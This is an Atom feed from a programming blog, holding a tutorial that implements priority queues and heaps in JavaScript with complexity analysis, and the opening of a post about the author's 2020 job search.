<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Adrian Mejia Blog</title>
  <subtitle>var life = [&#39;work_smart&#39;, &#39;have_fun&#39;, &#39;make_history&#39;];</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://adrianmejia.com/"/>
  <updated>2021-07-05T22:29:39.000Z</updated>
  <id>https://adrianmejia.com/</id>
  
  <author>
    <name>Adrian Mejia</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Priority Queue Data Structure and Heaps Implemented in JavaScript</title>
    <link href="https://adrianmejia.com/priority-queue-data-structure-and-heaps-time-complexity-javascript-implementation/"/>
    <id>https://adrianmejia.com/priority-queue-data-structure-and-heaps-time-complexity-javascript-implementation/</id>
    <published>2021-07-05T22:29:39.000Z</published>
    <updated>2021-07-05T22:29:39.000Z</updated>
    
    <content type="html"><![CDATA[<p>A priority queue is a versatile data structure that is good to have under your algorithmic toolbelt. In this post, we discuss, what it is, real-world applications, and we explore two different implementations, the latter one being more robust.</p>
<a id="more"></a>


<h2 id="What’s-a-Priority-Queue-PQ"><a href="#What’s-a-Priority-Queue-PQ" class="headerlink" title="What’s a Priority Queue (PQ)?"></a>What’s a Priority Queue (PQ)?</h2><p>A priority queue is a data structure that extends the queue by a priority dimension. Let’s expand both terms. The <strong>queue</strong> is a list of elements taken in the same order as they arrived. For instance, a line of people waiting to pay at the Supermarket behaves like a queue: first-in, first-served, or FIFO (first in, first out).</p>
<p>The <em>priority queue</em> adds a priority to each element’s value. If we go back to the example of a line of people in a supermarket. You can add preferred lanes, for example, Seniors (65+ years old) and pregnant women. If you have Seniors in the line, you will take them first, even if other people arrived before them. That’s what a priority queue (PQ) does. If all elements in a PQ have the same priority, then it will behave like a regular queue.</p>
<p><img src="/images/priority-queue-pq-heap.png" alt="priority queue as line of people"></p>
<p>Why a priority queue? Can’t we just have different queues for each priority? That only works if you have a few priorities, but sometimes you have infinite possibilities (e.g., the distance between two points, ETA, etc.). Later in this post, we will explore how we can implement an efficient solution for these cases.</p>
<h2 id="What-is-a-priority-queue-good-for-Applications"><a href="#What-is-a-priority-queue-good-for-Applications" class="headerlink" title="What is a priority queue good for? / Applications"></a>What is a priority queue good for? / Applications</h2><p>There are many real-world applications for priority queues, such as:</p>
<ul>
<li>System to triage hospital patients and attend them by their severity order.</li>
<li>Forward network packages in order of urgency (e.g., “real-time video call” should go before “time sync checks,” so to speak)</li>
<li>Scheduling tasks in a system: “critical” goes before “shadow drawing” for instance.</li>
<li>Asynchronous control flows like firing events (or notifying observers) in a certain order.</li>
<li>Keeping track of top k elements efficiently</li>
<li>Keeping track of median numbers in constant time</li>
<li>Used in some graph algorithms like Dijkstra for finding the shortest path between two points. The distance among points is used as a priority.</li>
</ul>
<p>Some priority queue JavaScript implementations on the wild:</p>
<ul>
<li><strong>closure-library</strong>: <a href="https://github.com/google/closure-library/blob/master/closure/goog/structs/heap.js">heap.js</a>, <a href="https://github.com/google/closure-library/blob/master/closure/goog/structs/priorityqueue.js">priorityqueue.js</a></li>
<li><strong>dsa.js</strong>: <a href="https://github.com/amejiarosario/dsa.js-data-structures-algorithms-javascript/blob/master/src/data-structures/heaps/heap.js">heap.js</a>, <a href="https://github.com/amejiarosario/dsa.js-data-structures-algorithms-javascript/blob/master/src/data-structures/heaps/priority-queue.js">priority-queue.js</a>, <a href="https://github.com/amejiarosario/dsa.js-data-structures-algorithms-javascript/blob/master/src/data-structures/heaps/min-heap.js">min-heap.js</a>, <a href="https://github.com/amejiarosario/dsa.js-data-structures-algorithms-javascript/blob/master/src/data-structures/heaps/max-heap.js">max-heap.js</a></li>
<li><strong>async</strong> : <a href="https://github.com/caolan/async/blob/master/lib/priorityQueue.js">priorityQueue.js</a>, <a href="https://github.com/caolan/async/blob/master/lib/internal/Heap.js">Heap.js</a>.</li>
<li><strong>datastructures-js</strong>: <a href="https://github.com/datastructures-js/heap/blob/master/src/heap.js">heap.js</a>, <a href="https://github.com/datastructures-js/priority-queue/blob/master/src/priorityQueue.js">priorityQueue.js</a></li>
</ul>
<p>This tutorial will start with a simple implementation and then build it to a robust implementation while making it easy to follow.</p>
<!--
### Implementing a Priority Queue (PQ) in C++

The best way to understand a data structure is to try to implement one yourself. Even if you ended up using the standard API (and you should), it's good to spend some time trying to understand how it works in the most basic form.

That's why are going to implement it here. However, later we are going to cover how to use the standard API. Whenever possible use standard/core APIs rather than your own or custom ones. The former will be more battle-tested and account for edge cases that you might didn't consider. However, your own is still good for your own learning, and believe it or not will help you make better use of the standard API.
-->

<h3 id="Implementing-a-Priority-Queue-PQ-in-JavaScript"><a href="#Implementing-a-Priority-Queue-PQ-in-JavaScript" class="headerlink" title="Implementing a Priority Queue (PQ) in JavaScript"></a>Implementing a Priority Queue (PQ) in JavaScript</h3><p>JavaScript standard doesn’t provide a default implementation that we can use. So, we are going to define our own. But, even if you use another language that has it in their standard API, it’s still good to know how it works so you can reason about the time complexity of their operations.</p>
<p>Without any further ado, let’s get to it!</p>
<h3 id="Priority-Queue-operations"><a href="#Priority-Queue-operations" class="headerlink" title="Priority Queue operations"></a>Priority Queue operations</h3><p>As always, there are many ways to solve the same problem. We are going to brainstorm some approaches along with their pros and cons. Yes, there’s never a perfect approach. However, we can learn to analyze the trade-offs and how we can improve our algorithms better.</p>
<p>The essential operations of the priority queue are:</p>
<ul>
<li>enqueue: insert elements on the queue</li>
<li>dequeue: remove elements from the queue in the same order they were inserted.</li>
</ul>
<p>Priority queue usually has a comparison function. Since our data could be simple (just an array of numbers where the value and priority are the same) or compound, where we have multiple fields (e.g. the priority could be the age of a student object). The comparator function tells our PQ what we can use as a priority. Here’s an example:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> pq= <span class="keyword">new</span> PriorityQueue(<span class="function">(<span class="params">x, y</span>) =&gt;</span> y.age - x.age);</span><br><span class="line">pq.enqueue(&#123; <span class="attr">name</span>: <span class="string">&#x27;Maria&#x27;</span>, <span class="attr">age</span>: <span class="number">23</span> &#125;);</span><br><span class="line">pq.enqueue(&#123; <span class="attr">name</span>: <span class="string">&#x27;Nushi&#x27;</span>, <span class="attr">age</span>: <span class="number">42</span> &#125;);</span><br><span class="line">pq.enqueue(&#123; <span class="attr">name</span>: <span class="string">&#x27;Jose&#x27;</span>, <span class="attr">age</span>: <span class="number">32</span> &#125;);</span><br><span class="line"></span><br><span class="line">pq.dequeue(); <span class="comment">// &#123; name: &#x27;Nushi&#x27;, age: 42 &#125;</span></span><br><span class="line">pq.dequeue(); <span class="comment">// &#123; name: &#x27;Jose&#x27;, age: 32 &#125;</span></span><br><span class="line">pq.dequeue(); <span class="comment">// &#123; name: &#x27;Maria&#x27;, age: 23 &#125;</span></span><br></pre></td></tr></table></figure>
<p>As you can see, the comparator function dequeue elements with the highest age first. This is called a Max-PQ. We can invert the minuend and subtrahend to get a Min-PQ. Another possibility to use the name as a priority.</p>
<p>Now that we have a general idea of how a PQ API works let’s explore how we can implement it.</p>
<h4 id="Naive-Priority-Queue-implemented-using-Array-Sorting"><a href="#Naive-Priority-Queue-implemented-using-Array-Sorting" class="headerlink" title="Naive: Priority Queue implemented using Array + Sorting"></a>Naive: Priority Queue implemented using Array + Sorting</h4><p>You can implement a regular queue using an array or linked list. However, priority queues have a new dimension: It needs to sort elements by priority. So, can we just sort a regular array queue every time we insert a new element? Yes, we can! But let’s see how it will perform.</p>
<p><strong>Enqueue</strong></p>
<p>Every time we insert a new element, we need to sort the elements. That’s <strong>O(n log n)</strong>.</p>
<p>Complexity</p>
<ul>
<li>Time: O(n log n), insertion into an array is constant but sorting takes n log n.</li>
<li>Space: O(n), the space used in memory will grow proportionally to the number of elements in the queue.</li>
</ul>
<p>Here’s the implementation of the Enqueue method:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">NaivePQ</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>(comparator = (a, b) =&gt; a - b) &#123;</span><br><span class="line">    <span class="built_in">this</span>.array = [];</span><br><span class="line">    <span class="built_in">this</span>.comparator = comparator;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * Insert element</span></span><br><span class="line"><span class="comment">   * <span class="doctag">@runtime </span>O(n log n)</span></span><br><span class="line"><span class="comment">   * <span class="doctag">@param <span class="type">&#123;any&#125;</span> <span class="variable">value</span></span></span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  add(value) &#123;</span><br><span class="line">    <span class="built_in">this</span>.array.push(value);</span><br><span class="line">    <span class="built_in">this</span>.array.sort(<span class="built_in">this</span>.comparator);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><strong>Dequeue</strong></p>
<p>Dequeue removes elements from the PQ. We need to find the element with the highest priority and then return that. The highest number will be first element, so that’s O(1) operation. However, we need to move the rest of the elements to fill the gap. That’s <strong>O(n)</strong>.</p>
<p>Complexity</p>
<ul>
<li>Time: O(n), finding the top element.</li>
<li>Space: O(n), space is technically O(n-1). However, we just care about the “higher order” term, so O(n).</li>
</ul>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Retrieves and removes the head or returns null if this Heap is empty.</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@runtime </span>O(n)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">remove() &#123;</span><br><span class="line">  <span class="keyword">if</span> (!<span class="built_in">this</span>.size) <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">  <span class="keyword">const</span> value = <span class="built_in">this</span>.array.shift(); <span class="comment">// remove element</span></span><br><span class="line">  <span class="keyword">return</span> value;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><strong>Improving PQ implementation</strong></p>
<p>Can we do better? We could do nothing after insertion <strong>O(1)</strong> and then delegate the finding of the element with the highest priority to <strong>dequeue</strong> (if max-heap). That would be <strong>O(n).</strong></p>
<p><strong>O(n)</strong> as time complexity is not bad. It’s better than sorting all elements on every insertion <strong>O(n log n)</strong>. Still, how can we improve this? If we use a data structure that keeps the max element at the top in less than O(n), that would be great! Good news, that’s what a heap is for!</p>
<h4 id="Priority-Queue-implemented-using-a-Heap"><a href="#Priority-Queue-implemented-using-a-Heap" class="headerlink" title="Priority Queue implemented using a Heap"></a>Priority Queue implemented using a Heap</h4><p>A <strong>heap</strong> is a tree data structure that keeps to max or min element at the root. So you can have a max-heap or min-heap. Regardless, they have two basic operations: insert and remove.</p>
<p>Conceptually the heaps can be represented as a complete binary tree. With the following rules or invariants:</p>
<ol>
<li>The parent node should be smaller (or equal) than the two children for a Min-Heap. For a max-heap is the opposite, the parent node should be bigger (or equal) than the two children.</li>
<li>The binary tree should be complete (all levels are completely filled. The only exception is the last level which might not be full, but the ones filled comes from left to right without gaps)</li>
</ol>
<p><img src="/images/min-heap-vs-max-heap.png" alt="Min-Heap vs Max-Heap"></p>
<p>Even though a heap is conceptually a binary tree, it can be implemented using an array since it’s a complete tree. The first element on the array is the <strong>root</strong>. The following two elements are the root’s children, the 4th and 5th elements are the 2nd element’s children, and so on.</p>
<p><img src="/images/tree-to-array-representation.png" alt="Tree/Heap to Array Representation"></p>
<p>You can calculate the following formula to translate tree to array:</p>
<ul>
<li>parent(i) = Math.ceil(i / 2 - 1)</li>
<li>leftChild(i) = 2 * i + 1</li>
<li>rightChild2(i) = 2 * i + 2</li>
</ul>
<p><strong>What’s the time complexity of heaps and Priority Queue?</strong></p>
<p>Again the PQ has two primary operations: enqueue and dequeue. So, let’s see how we can do this with a heap.</p>
<p><strong>Enqueue</strong></p>
<p>The algorithm to insert an element in a heap is as follows:</p>
<ol>
<li>Insert the element into the next empty position (tail).</li>
<li>From that position, “bubble up” the element to keep the min-heap invariant “parent should be smaller than any children” (the opposite if max-heap). If the invariant is broken, fix it by swapping the node with its parent and repeat the process all the way to the root node if necessary.</li>
</ol>
<p>Here’s an implementation of the Heap. Also we are using a comparator function so we can define the priority.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Heap</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>(comparator = (a, b) =&gt; a - b) &#123;</span><br><span class="line">    <span class="built_in">this</span>.array = [];</span><br><span class="line">    <span class="built_in">this</span>.comparator = <span class="function">(<span class="params">i1, i2</span>) =&gt;</span> comparator(<span class="built_in">this</span>.array[i1], <span class="built_in">this</span>.array[i2]);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * Insert element</span></span><br><span class="line"><span class="comment">   * <span class="doctag">@runtime </span>O(log n)</span></span><br><span class="line"><span class="comment">   * <span class="doctag">@param <span class="type">&#123;any&#125;</span> <span class="variable">value</span></span></span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  add(value) &#123;</span><br><span class="line">    <span class="built_in">this</span>.array.push(value);</span><br><span class="line">    <span class="built_in">this</span>.bubbleUp();</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * Move new element upwards on the Heap, if it&#x27;s out of order</span></span><br><span class="line"><span class="comment">   * <span class="doctag">@runtime </span>O(log n)</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  bubbleUp() &#123;</span><br><span class="line">    <span class="keyword">let</span> index = <span class="built_in">this</span>.size - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">const</span> parent = <span class="function">(<span class="params">i</span>) =&gt;</span> <span class="built_in">Math</span>.ceil(i / <span class="number">2</span> - <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">while</span> (parent(index) &gt;= <span class="number">0</span> &amp;&amp; <span class="built_in">this</span>.comparator(parent(index), index) &gt; <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="built_in">this</span>.swap(parent(index), index);</span><br><span class="line">      index = parent(index);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>This algorithm can keep a heap sorted in O(<strong>log n</strong>) because it only visits half of the tree at most.</p>
<p><em>“Why <strong>log n?</strong>“**</em>,**  you asked.</p>
<p>Because that’s the maximum number of swaps that you would have to bubble up the newly inserted element.</p>
<details>
  <summary>I see, but where did you get that <i>log n</i> from?</summary>



<p><img src="/images/binary-tree-parts.png" alt="binary tree parts"></p>
<p>Well, in a complete binary tree, you double the number of nodes at each level. If you use some intuition and math you can find the following relationship:</p>
<ul>
<li>Level 0: 2<sup>0</sup> = 1 node (root)</li>
<li>Level 1: 2<sup>1</sup> = 2 nodes</li>
<li>Level 2: 2<sup>2</sup> = 4 nodes</li>
<li>Level 3: 2<sup>3</sup> = 8 nodes</li>
<li>…</li>
<li>Level h: 2<sup>h</sup> = 2<sup>h</sup> nodes</li>
</ul>
<hr>
<ul>
<li>Total number of nodes, n: 1 + 2 + 4 + 8 + … + 2<sup>h</sup></li>
</ul>
<p>So, we have a formula that relates the total number of nodes with the tree’s height. The height is essential because that will be the maximum number of times we would swap nodes when we insert a new element in the Heap.</p>
<p>Using <a href="https://en.wikipedia.org/wiki/Geometric_progression">geometric progression</a> and the total number of nodes formulas we have:</p>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.4/MathJax.js?config=TeX-MML-AM_CHTML" async></script>

<p>` 2^{0}+2^{1}+2^{2}+2^{3}+\cdots +2^{k-1} = \sum _{i=0}^{k-1}2^{i} = 2^{k}-1 `</p>
<p>` n = 2^{h + 1} - 1 `</p>
<p>` \log _{2}(n + 1) = h + 1 `</p>
<p>` h = \log _{2}(n + 1) - 1 `</p>
<p>Well, there you have it. That’s where the <strong>log n</strong> comes from.</p>
</details>

<p>Complexity:</p>
<ul>
<li>Time: O(log n), in the worst case, you will have to bubble up the inserted element up to the root of the tree. These will involve log n swaps, where n is the total number of nodes.</li>
<li>Space: O(n)</li>
</ul>
<p><strong>Dequeue</strong></p>
<p>The algorithms for dequeuing an element from a PQ is the following:</p>
<ol>
<li>Remove the root element</li>
<li>Since the root element is gone, you need to fill the hole by promoting a child to take its place. This process is called “heapify” or <code>bubbleDown</code>. You choose the child that has the min value for min-heap (or max value for max-heap). You do this recursively until you found a leaf (node without children).</li>
</ol>
<p>Complexity:</p>
<ul>
<li>Time: O(log n), The maximum number of swaps is given by the tree’s height, which is log n.</li>
<li>Space: O(n).</li>
</ul>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Retrieves and removes the head of this Heap or returns null if this Heap is empty.</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@runtime </span>O(log n)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">remove(index = <span class="number">0</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span> (!<span class="built_in">this</span>.size) <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">  <span class="built_in">this</span>.swap(index, <span class="built_in">this</span>.size - <span class="number">1</span>); <span class="comment">// swap with last</span></span><br><span class="line">  <span class="keyword">const</span> value = <span class="built_in">this</span>.array.pop(); <span class="comment">// remove element</span></span><br><span class="line">  <span class="built_in">this</span>.bubbleDown(index);</span><br><span class="line">  <span class="keyword">return</span> value;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * After removal, moves element downwards on the Heap, if it&#x27;s out of order</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@runtime </span>O(log n)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">bubbleDown(index = <span class="number">0</span>) &#123;</span><br><span class="line">  <span class="keyword">let</span> curr = index;</span><br><span class="line">  <span class="keyword">const</span> left = <span class="function">(<span class="params">i</span>) =&gt;</span> <span class="number">2</span> * i + <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">const</span> right = <span class="function">(<span class="params">i</span>) =&gt;</span> <span class="number">2</span> * i + <span class="number">2</span>;</span><br><span class="line">  <span class="keyword">const</span> getTopChild = <span class="function">(<span class="params">i</span>) =&gt;</span> (right(i) &lt; <span class="built_in">this</span>.size</span><br><span class="line">    &amp;&amp; <span class="built_in">this</span>.comparator(left(i), right(i)) &gt; <span class="number">0</span> ? right(i) : left(i));</span><br><span class="line"></span><br><span class="line">  <span class="keyword">while</span> (left(curr) &lt; <span class="built_in">this</span>.size &amp;&amp; <span class="built_in">this</span>.comparator(curr, getTopChild(curr)) &gt; <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> next = getTopChild(curr);</span><br><span class="line">    <span class="built_in">this</span>.swap(curr, next);</span><br><span class="line">    curr = next;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>You can find the full implementation at:
<a href="https://github.com/amejiarosario/dsa.js-data-structures-algorithms-javascript/blob/master/src/data-structures/heaps/heap.js">https://github.com/amejiarosario/dsa.js-data-structures-algorithms-javascript/blob/master/src/data-structures/heaps/heap.js</a></p>
<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>In these post we learned about the usages of a priority queue and how to implement it with an array+sorting and using array-based heap. We also explored it’s time complexity for each implementation so we can verify that the heap implementation is more efficient.</p>
<!--
#### Implementing a Heap in C++

We discussed two different approaches of how to heap using an array and sorting and using heaps. The latter is more efficient, so we are going to implement that one.

<figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span> &lt;classname T, P&gt;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">PriorityQueue</span> &#123;</span></span><br><span class="line"> <span class="keyword">public</span>:</span><br><span class="line">  PriorityQueue(P cmp) cmp_(cmp) &#123;&#125;</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">void</span> <span class="title">Enqueue</span><span class="params">(T value)</span> </span>&#123;</span><br><span class="line">    data_.push_back(value);</span><br><span class="line">    BubbleUp(data.length - <span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="function">T <span class="title">Dequeue</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    T value = data_[<span class="number">0</span>];</span><br><span class="line">    Heapify(<span class="number">0</span>);</span><br><span class="line">    <span class="keyword">return</span> value;</span><br><span class="line">  &#125;</span><br><span class="line"> <span class="keyword">private</span>:</span><br><span class="line">  <span class="built_in">vector</span>&lt;T&gt; data_;</span><br><span class="line">  P cmp_;</span><br><span class="line">  <span class="comment">//std::function&lt;int(T a, T b)&gt; cmp_;</span></span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">int</span> <span class="title">GetParent</span><span class="params">(<span class="keyword">int</span> i)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (i &lt; <span class="number">0</span> || i &gt;= data_.size()) <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">std</span>::<span class="built_in">floor</span>((i - <span class="number">1</span>) / <span class="number">2</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">int</span> <span class="title">GetChild</span><span class="params">(<span class="keyword">int</span> i, <span class="keyword">int</span> j)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">int</span> index = i * <span class="number">2</span> + j;</span><br><span class="line">    <span class="keyword">if</span> (index &gt;= data_.size() || j &gt; <span class="number">2</span> || j &lt; <span class="number">1</span>) <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    <span class="keyword">return</span> index;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">int</span> <span class="title">Comparator</span><span class="params">(i, j)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>; <span class="comment">// TODO</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">void</span> <span class="title">BubbleUp</span><span class="params">(<span class="keyword">int</span> i)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">int</span> parent = GetParent(i);</span><br><span class="line">    <span class="keyword">if</span> (parent &gt; <span class="number">0</span> &amp;&amp; Comparator(parent, i)) &#123;</span><br><span class="line">      <span class="built_in">std</span>::swap(data, parent, i); <span class="comment">// FIX</span></span><br><span class="line">      BubbleUp(parent);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">void</span> <span class="title">Heapify</span><span class="params">(<span class="keyword">int</span> i)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">int</span> child1 = GetChild(i, <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">int</span> child2 = GetChid(i, <span class="number">2</span>);</span><br><span class="line">    <span class="keyword">if</span> (child1 &amp;&amp; Comparator(child1, child2)) &#123;</span><br><span class="line">      <span class="built_in">std</span>::swap(data, i, child1);</span><br><span class="line">      Heapify(child1);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (child2 &amp;&amp; Comparator(child2, child1)) &#123;</span><br><span class="line">      <span class="built_in">std</span>::swap(data, i, child2)</span><br><span class="line">      Heapify(child2);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>–&gt;</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;A priority queue is a versatile data structure that is good to have under your algorithmic toolbelt. In this post, we discuss, what it is, real-world applications, and we explore two different implementations, the latter one being more robust.&lt;/p&gt;
    
    </summary>
    
      <category term="Programming" scheme="https://adrianmejia.com/categories/programming/"/>
    
      <category term="Data Structures and Algorithms (DSA)" scheme="https://adrianmejia.com/categories/programming/data-structures-and-algorithms-dsa/"/>
    
    
      <category term="big-o notation" scheme="https://adrianmejia.com/tags/big-o-notation/"/>
    
      <category term="algorithms" scheme="https://adrianmejia.com/tags/algorithms/"/>
    
      <category term="tutorial_algorithms" scheme="https://adrianmejia.com/tags/tutorial-algorithms/"/>
    
  </entry>
  
  <entry>
    <title>2020 recap and how I got my dream job</title>
    <link href="https://adrianmejia.com/2020-recap-and-how-i-got-my-dream-job/"/>
    <id>https://adrianmejia.com/2020-recap-and-how-i-got-my-dream-job/</id>
    <published>2021-01-02T22:55:24.000Z</published>
    <updated>2021-01-02T22:55:24.000Z</updated>
    
    <content type="html"><![CDATA[<p>This is the first time I write a post about reviewing a year. I usually keep my posts about technical topics or tutorials, but this year has been unusual so let’s do unusual things!</p>
<a id="more"></a>

<p>I spend most of 2020 preparing for job interviews and being interviewed (besides my day job). Since I didn’t have to commute to work anymore, I used the extra 2-3 hours for studying daily. It did pay off.</p>
<p>So here’s a little backstory that leads me to this point.</p>
<h2 id="The-dream"><a href="#The-dream" class="headerlink" title="The dream"></a>The dream</h2><p>Since 2011, one of my dream jobs has been to work at Google. I was fascinated by the number of innovative products they released, the Ester eggs, free food, and amenities in the offices. So, I did manage to get an interview with them. But, unfortunately, I bombed my first interview very badly. I was transitioning from Electronics engineering to Software, and data structures knowledge was pretty much arrays and strings. My first interview was about a linked list implementation, so I had to improvise.</p>
<p>After my big failure, I still wanted to try again in the future. I knew I had to study computer science topics and learn Data Structures and Algorithms (DSA) for real. However, those topics are tedious to study on your own. Eventually, I got other jobs in Software Engineering, and I procrastinated studying DSA for years.</p>
